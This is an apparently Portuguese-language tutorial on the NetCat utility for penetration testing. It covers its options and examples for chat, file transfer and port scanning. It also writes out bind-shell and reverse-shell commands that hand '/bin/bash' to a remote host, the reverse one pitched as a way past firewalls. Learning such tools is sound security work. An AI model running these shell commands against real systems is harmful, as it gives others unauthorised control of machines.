Um dos softwares mais utilizados para os Testes de Invasão, o NetCat ou nc é um utilitário UNIX capaz de ler e gravar dados através de conexões de rede, utilizando os protocolos TCP/UDP.

Um pouco da história

Desenvolvido para ser uma ferramenta de “Back-End” confiável e versátil, pode ser utilizado facilmente em programas, scripts ou diretamente por linha de comando. Ao mesmo tempo suas funcionalidades o tornam uma excelente ferramenta para depuração e exploração de redes (TCP/UDP).

Foi desenvolvido em 1995 por Hobbit, porém não foi mantido, tendo sua ultima versão a 1.10 em 20 de março de 1996. Sim, antigo, mas não acaba aí.

Após demonstrar ter um grande potencial, foi reimplementada pelo Nmap project com nome de Ncat, esta versão possui algumas melhorias e maior  suporte aos protocolos, lembrando que o Ncat não é 100% compatível com o NetCat. as diferenças mais notáveis são:

  • Suporte ao IPv6;
  • Capacidade de encadear o ncat;
  • Suporte ao SSL;
  • Suporte a proxy;
  • Capacidade de definir hosts específicos para permitir ou negar acesso ao modo de escuta;

síntaxe:

nc [-46bCDdhklnrStUuvZz] [-I length] [-i interval] [-O length]    [-P proxy_username] [-p source_port] [-q seconds] [-s source]    [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]    [-x proxy_address[:port]] [destination] [port]
-4Força a utilização apenas do IPv4.
-6Força a utilização apenas do IPv6.
-bPermite broadcast.
-CEnvia Carriage Return e linefeed como final de linha.(CRLF)
-DAtiva o debug para o socket.
-ddesabilita a leitura do stdin.
-hExibe ajuda.
-I tamanhoDefine o tamanho do buffer de recebimento TCP.
-i intervaloDefine um intervalo de tempo para o atraso entre as linhas de texto enviadas e recebidas. Também causa um atraso entre as conexões para várias portas.
-kForça o nc a ficar atento a outra conexão após a conclusão da conexão atual. Deve-se também utilizar a opção -l.
-lDefine que o nc deve escutar uma conexão de entrada em vez de iniciar uma conexão com um host remoto. É um erro usar essa opção em conjunto com as opções -p, -s ou -z. Além disso, todos os tempos limite especificados com a opção -w são ignorados.
-nNão pesquisa DNS ou serviço em endereços, nomes de host ou portas definidas.
-O tamanhoDefine o tamanho do buffer de envio TCP
-P proxy_usuarioEspecifica um nome de usuário para conectar a um servidor proxy que requer autenticação. Se nenhum nome de usuário for especificado, a autenticação não será tentada. Atualmente a  autenticação de proxy só é suportada para proxies HTTP CONNECT.
-p porta_origemdefine a porta de origem que o nc deve usar, sujeito a restrições de disponibilidade e privilégios.
-q segundosApós EOF no stdin, aguarde o número especificado de segundos e, em seguida, saia. Se os segundos forem negativos, espere para sempre.
-rEspecifica que as portas de origem ou de destino devem ser escolhidas aleatoriamente em vez de sequencialmente dentro de um intervalo ou na ordem em que o sistema as atribui.
-SHabilita a opção de assinatura RFC 2385 TCP MD5.
-s origemEspecifica o IP da interface usada para enviar os pacotes. Para UNIX-domain datagram sockets, especifica o arquivo de soquete temporário local para criar e usar de forma que os datagramas possam ser recebidos. É um erro usar esta opção em conjunto com a opção -l.
-T tosAlterar o valor de TOS do IPv4. O toskeyword pode ser um dos mais criticalinetcontrollowcostlowdelaynetcontrolthroughputreliability ou um dos Pontos de Código DiffServ: ef, af11 … af43, cs0 … cs7; ou um número em hexadecimal ou decimal.
-tFaz com que o comando nc envie as respostas RFC 854 DON’T e WON’T para solicitações RFC 854 DO e WILL. Isso possibilita o uso de nc para scripts de sessões de telnet.
-USpecifies to use UNIX-domain sockets.
-uUse o UDP em vez da opção padrão do TCP. Para UNIX-domain sockets, use um soquete de datagrama em vez de um soquete de fluxo. Se um UNIX-domain sockets for usado, será criado em /tmp um soquete de recebimento temporário. a menos que o sinalizador -s seja fornecido.
-V tabela_roteamentoDefina a tabela de roteamento a ser usada. O padrão é 0.
-vHabilita modo verboso.
-w tempoConexões que não podem ser estabelecidas ou são tempo limite ocioso após o tempo limite de segundos. O sinalizador -w não tem efeito sobre a opção -l, ou seja, nc escutará permanentemente uma conexão, com ou sem o sinalizador -w. O padrão é sem tempo limite.
-X proxy_protocoloSolicita que o nc use o protocolo especificado ao comunicar com o servidor proxy. Os protocolos suportados são “4” (SOCKS v.4), “5” (SOCKS v.5) e “connect” (proxy HTTPS). Se o protocolo não for especificado, a versão 5 do SOCKS será usada.
-x proxy_endereco[:porta]Solicita que o nc se conecte ao destino usando um proxy em proxy_endereco e porta. Se a porta não for especificada, a porta conhecida para o protocolo de proxy será usada (1080 para SOCKS, 3128 para HTTPS).
-Zmodo DCCP .
-zEspecifica que o nc deve procurar por daemons de escuta, sem enviar nenhum dado a eles. É um erro usar esta opção em conjunto com a opção -l.

Agora que sabemos onde vive e do que se alimenta, podemos saber o que faz na prática. Vou demonstrar algumas ideias, pois a versatilidade do NetCat é enorme.

Abrindo portas

Abrindo porta TCP:
nc -v -l 123

Por padrão o nc utiliza TCP mas caso queira que seja UDP adicione o argumento “u”

nc -v -l -u 123

sem encerrar a execução no comando podemos verificar as portas abertas e lá esta nosso 123

Chat simples

Primeiro, configure um terminal para escutar a porta.
nc -v -l -p 123

Em outro terminal, usamos o comando abaixo para se conectar a porta aberta acima. Você pode usar um endereço IP ou um nome de host.
nc 192.168.25.240 123

Transferir arquivo

podemos transferir arquivos entre terminais, consiste na mesma ideia do chat, porem há modificações para que os dados enviados e recebidos sejam destinados a arquivos. lembrando que isto pode ser feito de forma bidirecional, ou seja, a porta que foi aberta pode receber um arquivo ou enviar.

criando o arquivo, abrindo a porta e servindo o conteúdo do arquivo para quem conectar na porta.

echo "arquivo de teste." >arquivo && nc -v -w 30 -p 123 -l <arquivo

em outro terminal vamos conectar na porta 123 e receber o conteudo do arquivo.

nc -v -w 2 192.168.25.240 31337 >arquivoTransferido

lembrando que pelo nc é transferido o conteúdo do arquivo. quando utilizamos “<  arquivo” definimos que o arquivo sera lido e servido na porta definida. em outro terminal utilizamos o “> arquivoTransferido”, assim  tudo que chegar pela porta em que nos conectamos sera enviado para  arquivoTransferido.

* Não use o sinalizador -w com -l no lado do servidor, pois nesse caso, o sinalizador -w não causa nenhum efeito e, portanto, a conexão permanece aberta para sempre.

Conexão direta

Em muitos casos precisamos controlar hosts através de outra maquina, facilmente utilizamos o netcat que normalmente esta incluso na distro, é bem enxuto caso não esteja.

host no qual queremos controlar: (192.168.1.10)
nc -vnlp 3000 -e  /bin/bash
Utilizando o mesmo principio do “chat simples” o netcat deixa a porta aberta (no caso a 3000), porem ao invés de exibir na tela em forma de mensagem é transferido para o bash do sistema, ou seja temos acesso ao bash remoto.

host no qual teremos o controle:

nc 192.168.1.10 3000

feito, agora estamos com o controle do host 192.168.1.10

É interessante ressaltar que não necessariamente devemos utilizar o /bin/bash , podemos utilizar um script diretamente e no instante da conexão do cliente ele sera executado:

nc -vnlp 3000 -e /script_inofensivo.sh

Conexão reversa

Uma conexão reversa utilizando o netcat tem como o mesmo principio da conexão direta porem sentido contrario, o host que terá o controle cria servidor + porta e assim o host a ser controlado se conecta nele fornecendo seu bash como ligação ao netcat. bem útil quando regras de firewall bloqueiam conexões de entrada

host no qual teremos o controle: (192.168.1.12)

nc -vnlp 3000

host no qual queremos controlar: (192.168.1.10)

nc -nv 192.168.1.12 3000 -e /bin/bash

Escanear portas

Podemos escanear um host usando o netcat, neste caso escanearemos da porta 1 ate a 10.

nc -vnz 192.168.1.12 1-10

ps: também podemos utilizar o parâmetro “-w 1”, faz com que o tempo limite de conexão seja 1 segundo de inatividade.